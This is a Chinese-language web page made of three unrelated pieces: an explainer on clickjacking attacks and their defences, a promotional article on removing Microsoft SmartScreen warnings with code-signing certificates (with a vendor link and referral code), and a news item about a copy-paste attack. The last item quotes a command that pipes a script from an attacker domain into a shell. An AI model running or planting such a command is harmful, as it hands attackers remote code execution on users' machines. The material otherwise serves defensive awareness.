整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

界面劫持之点击劫持

界面劫持之点击劫持

01

赛门铁克(Symantec)在2019年的《互联网安全威胁报告》中称:Formjacking 攻击飙升,已有取代勒索和挖矿成为互联网安全最大威胁之势。Formjacking 从技术角度看,主要是将恶意 javascript 代码嵌入到合法网站中,用于获取敏感信息,而这种攻击手法本质上属于界面劫持中的 clickjacking(点击劫持)。本文将结合界面劫持的发展历程,以实例讲解点击劫持的原理并介绍目前针对此类攻击的防御思路。

界面劫持发展过程

02

界面操作劫持攻击实际上是一种基于视觉欺骗的 web 会话劫持攻击,核心在于使用了<iframe>标签中的透明属性,他通过在网页的可见输入控件上覆盖一个不可见的框,使得用户误以为在操作可见控件,而实际上用户的操作行为被其不可见的框所劫持,执行不可见框中的恶意代码,达到窃取信息,控制会话,植入木马等目的。从发展历程看,主要有三类:

点击劫持

点击劫持又称UI-覆盖攻击,是2008年由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼提出点击劫持的概念。因为首先劫持的是用户的鼠标点击操作,所以命名叫点击劫持。主要劫持目标是含有重要会话交互的页面,如银行交易页面、后台管理页面等。曾经 Twitter 和 Facebook 等著名站点的用户都遭受过点击劫持的攻击。

拖放劫持

在2010的 Black Hat Europe 大会上,Paul Stone 提出了点击劫持的技术演进版本:拖放劫持。由于用户需要用鼠标拖放完成的操作越来越多(如复制粘贴、小游戏等等),拖放劫持大大提高了点击劫持的攻击范围,将劫持模式从单纯的鼠标点击拓展到了鼠标拖放行为。最主要的是,由于拖放操作不受浏览器“同源策略“影响,用户可以把一个域的内容拖放到另一个不同的域,由此攻击者可能通过劫持某个页面的拖放操作实现对其他页面链接的窃取,从而获得 session key,token,password 等敏感信息,甚至能将浏览器中的页面内容拖进文本编辑器,查看源代码。2011年出现的 Cookiejacking 攻击就是拖放攻击的代表,此攻击的成因是由于本地 Cookie 可以用<iframe>标签嵌入,进而就可以利用拖放劫持来盗取用户的 Cookie。

触屏劫持

随着触屏技术的发展,clickjacking 的攻击方式也更进一步,2010年斯坦福公布触屏劫持攻击。通过将一个不可见的 iframe 覆盖到当前网页上就可以劫持用户的触屏操作。由于手机屏幕范围有限,手机浏览器为了节省空间把地址栏隐藏起来,因此在手机上的视觉欺骗更容易实施。

点击劫持技术原理

03

透明层+iframe

透明层使用了 CSS 中的透明属性,在(Chrome,FireFox,Safari,Opera浏览器)中

opacity:0.5;数值从0到1,数值越小透明度越高,反之越明显。

z-index:1;数值越高越靠近用户,高数值控件在低数值控件前。

使用 iframe 嵌入被劫持的页面 <iframe id=”victim” src=”http://www.victime.com”>

opacity:1

opacity:0

目标网页隐藏技术

目标网页隐藏技术原理是攻击者在恶意网站上通过 iframe 载入目标网页,然后隐藏目标网页,欺骗用户点击隐藏的恶意链接。目前主要的网页隐藏技术有两种:CSS 隐藏技术和双 iframe 隐藏技术。(双 iframe 隐藏技术使用内联框架和外联框架。内联框架的主要功能是载入目标网页,并将目标网页定位到特定按钮或者链接。外联框架的主要功能是筛选,只显示内联框架中特定的按钮。)

点击操作劫持技术

在成功隐藏目标网页后,攻击者下一个目标是欺骗用户点击特定的按钮,最简单实用的方法是使用社会工程学。例如,将攻击按钮外观设计成类似QQ消息的提示按钮,诱使用户点击从而触发攻击行为。另外一种思路是使用脚本代码以及其他技术增加用户点击特定按钮的概率。主要方法如 JavaScript 实现鼠标跟随技术、按键劫持 (Stroke jacking) 技术等。

点击劫持技术简单实现

04

1、Index.html 是一个用户可见的伪装页面,在其页面中设置 iframe 所在层为透明层,并在 iframe 中嵌套了 inner.html 页面

2、在 index.html 页面中设计的“Click me”按钮的位置与 inner.html 页面中“Login”按钮的位置重合

3、当用户以为在点击 index.html 页面上的“Click me”按钮时,实际是触发了 inner.html 页面上的“Login”按钮的onclick方法

点击 Click me 却触发了上层 iframe 标签的 inner.html 中 Login 的 onclick()

点击劫持漏洞的防御技术

05

01

服务器端防御

服务器端防御点击劫持漏洞的思想是结合浏览器的安全机制进行防御,主要的防御方法介绍如下。

1、X-FRAME-OPTIONS 机制

在微软发布新一代的浏览器 Internet Explorer 8.0中首次提出全新的安全机制:

X-FRAME-OPTIONS。该机制有两个选项:DENY 和 SAMEORIGIN。DENY 表示任何网页都不能使用 iframe 载入该网页,SAMEORIGIN 表示符合同源策略的网页可以使用 iframe 载入该网页。除了 Chrome 和 safari 以外,还支持第三个参数 Allow-From(白名单限制)。如果浏览器使用了这个安全机制,在网站发现可疑行为时,会提示用户正在浏览 网页存在安全隐患,并建议用户在新窗口中打开。这样攻击者就无法通过 iframe 隐藏目标的网页。

2、使用 FrameBusting 代码

点击劫持攻击需要首先将目标网站载入到恶意网站中,使用 iframe 载入网页是最有效的方法。Web 安全研究人员针对 iframe 特性提出 Frame Busting 代码,使用 JavaScript 脚本阻止恶意网站载入网页。如果检测到网页被非法网页载入,就执行自动跳转功能。Frame Busting 代码是一种有效防御网站被攻击者恶意载入的方法,网站开发人员使用 Frame Busting 代码阻止页面被非法载入。需要指出的情况是,如果用户浏览器禁用 JavaScript 脚本,那么 FrameBusting 代码也无法正常运行。所以,该类代码只能提供部分保障功能。

(禁止iframe的嵌套)

3、使用认证码认证用户

点击劫持漏洞通过伪造网站界面进行攻击,网站开发人员可以通过认证码识别用户,确定是用户发出的点击命令才执行相应操作。识别用户的方法中最有效的方法是认证码认证。例如,在网站上广泛存在的发帖认证码,要求用户输入图形中的字符,输入某些图形的特征等。

02

客户端防御

由于点击劫持攻击的代码在客户端执行,因此客户端有很多机制可以防御此漏洞。

1、升级浏览器

最新版本的浏览器提供很多防御点击劫持漏洞的安全机制,对于普通的互联网用户,经常更新修复浏览器的安全漏洞,能够最有效的防止恶意攻击。

2、NoScript 扩展

对于 Firefox 的用户,使用 NoScript 扩展能够在一定程度上检测和阻止点击劫持攻击。利用 NoScript 中 ClearClick 组件能够检测和警告潜在的点击劫持攻击,自动检测页面中可能不安全的页面。

在当前的网络时代,各种功能的软件应用程序参与到人们的生活和工作中,市场规模愈来愈大,增加了许多的开发公司和软件开发人员。但在发布应用程序后,软件所有者经常会遇到一个挑战,即用户在下载时可能会遇到微软SmartScreen提示“此应用程序不太常见,可能对您的电脑构成风险”,这种警告不仅会削弱用户的信任度,导致用户不敢再继续安装使用;还可能导致下载量下滑。那么,作为软件所有者,要怎么才能消除SmartScreen的这一警告提示呢?

一、在知道怎么消除警告之前,先来了解一下SmartScreen和SmartScreen信誉度

1、什么是SmartScreen?

SmartScreen,即Microsoft Defender SmartScreen,是微软推出的一款安全功能,旨在保护用户免受网络欺诈、恶意软件站点和潜在危险文件下载的侵害。SmartScreen会将下载信息发送至微软,通过比对已知恶意软件数据库和不安全程序列表来判断下载内容是否安全。一旦检测到潜在威胁,将会警告用户并阻止下载。此外,它还会参照用户常用下载清单,对不在清单内的文件进行安全检查,并可能发出预警。

2、什么是SmartScreen信誉度?

SmartScreen信誉度是微软安全系统中一项衡量下载程序安全程度的功能。它基于全球Internet Explorer、Microsoft Edge和Windows用户的反馈,结合防病毒检测结果、下载量统计、下载历史记录、URL信誉度以及其他多种安全指标,判断一个应用程序的安全可靠性。如果下载的程序尚未建立起信誉度,则会向用户显示警告信息。

二、如何消除SmartScreen“此程序不是常见的下载内容,可能会危害您的计算机”警告?

最根本的解决方案是建立SmartScreen信誉,为程序获取并应用一个有效的数字签名。这需要:

1、选择证书颁发机构

选择微软推荐的如Digicert、Sectigo (Comodo)、GlobalSign、JoySSL等CA。

首先,可以打开JoySSL的官方网站。注册一个新账号。在注册过程中,最后一栏会要求填写一个注册码以享受特定优惠或服务。可以填写“230915”来获取证书详细对比资料。

证书地址https://www.joyssl.com/certificate/select/code_signing.html?nid=15

2、代码签名证书的选择

EV代码签名证书可以立即获得SmartScreen信誉。这样一来,当用户下载时,Windows中的SmartScreen警告将不再出现。

OV代码签名证书需要通过累计下载量来逐步建立信誉。当应用程序下载安装达到一定规模,被广大Windows用户接受并认定为“常见安全应用”时,SmartScreen才会取消警告提示。

3、提高用户认可度

鼓励用户积极评价和推荐您的应用程序。

总而言之,软件所有者可以通过使用合适的代码签名证书对应用程序进行数字签名,以此来逐步积累SmartScreen信誉,最终消除SmartScreen警告,从而增强用户下载和使用软件的信心。使得应用程序有更多的下载量和用户群体,达到良性的循环。

全研究人员警告,HTML页面上的命令列可能藏匿恶意程序码,开发者稍有不察直接复制贴上终端时,可能就让黑客得以于程序中植入后门。

复制粘贴要当心,病毒代码在执行

一名安全研究人员Gabriel Friedlander近日警告,随手从网络上复制与贴上(Copy/Paste)命令列时要特别小心,因为黑客可能趁此骇进开发者的系统或应用程序。

Friedlander打造了一个概念性验证攻击手法,他设计一个假装可用来更新Ubuntu作业系统的命令列,该命令列显示的文字很简单,为「sudo apt update」,但当开发者复制它,并将它贴上记事本或终端时,它出现的却是「curl http[:]//attacker-domain:8000/shell.sh | sh 」,若是直接贴入终端,它将立即执行。

这是因为Friedlander在此一HTML页面上藏匿了JavaScript程序码,而让开发者眼见的文字与贴上之后所呈现的内容完全不同。

Friedlander说,不管是新手或是熟练的开发者,都可能会从网络上复制命令列或部份程序码,但这是非常危险的行为,也许会让黑客直接于程序中植入后门,相关的攻击非常地简单,却可能带来极大的伤害,建议开发者应永远避免于终端贴上直接自网络上复制的命令列。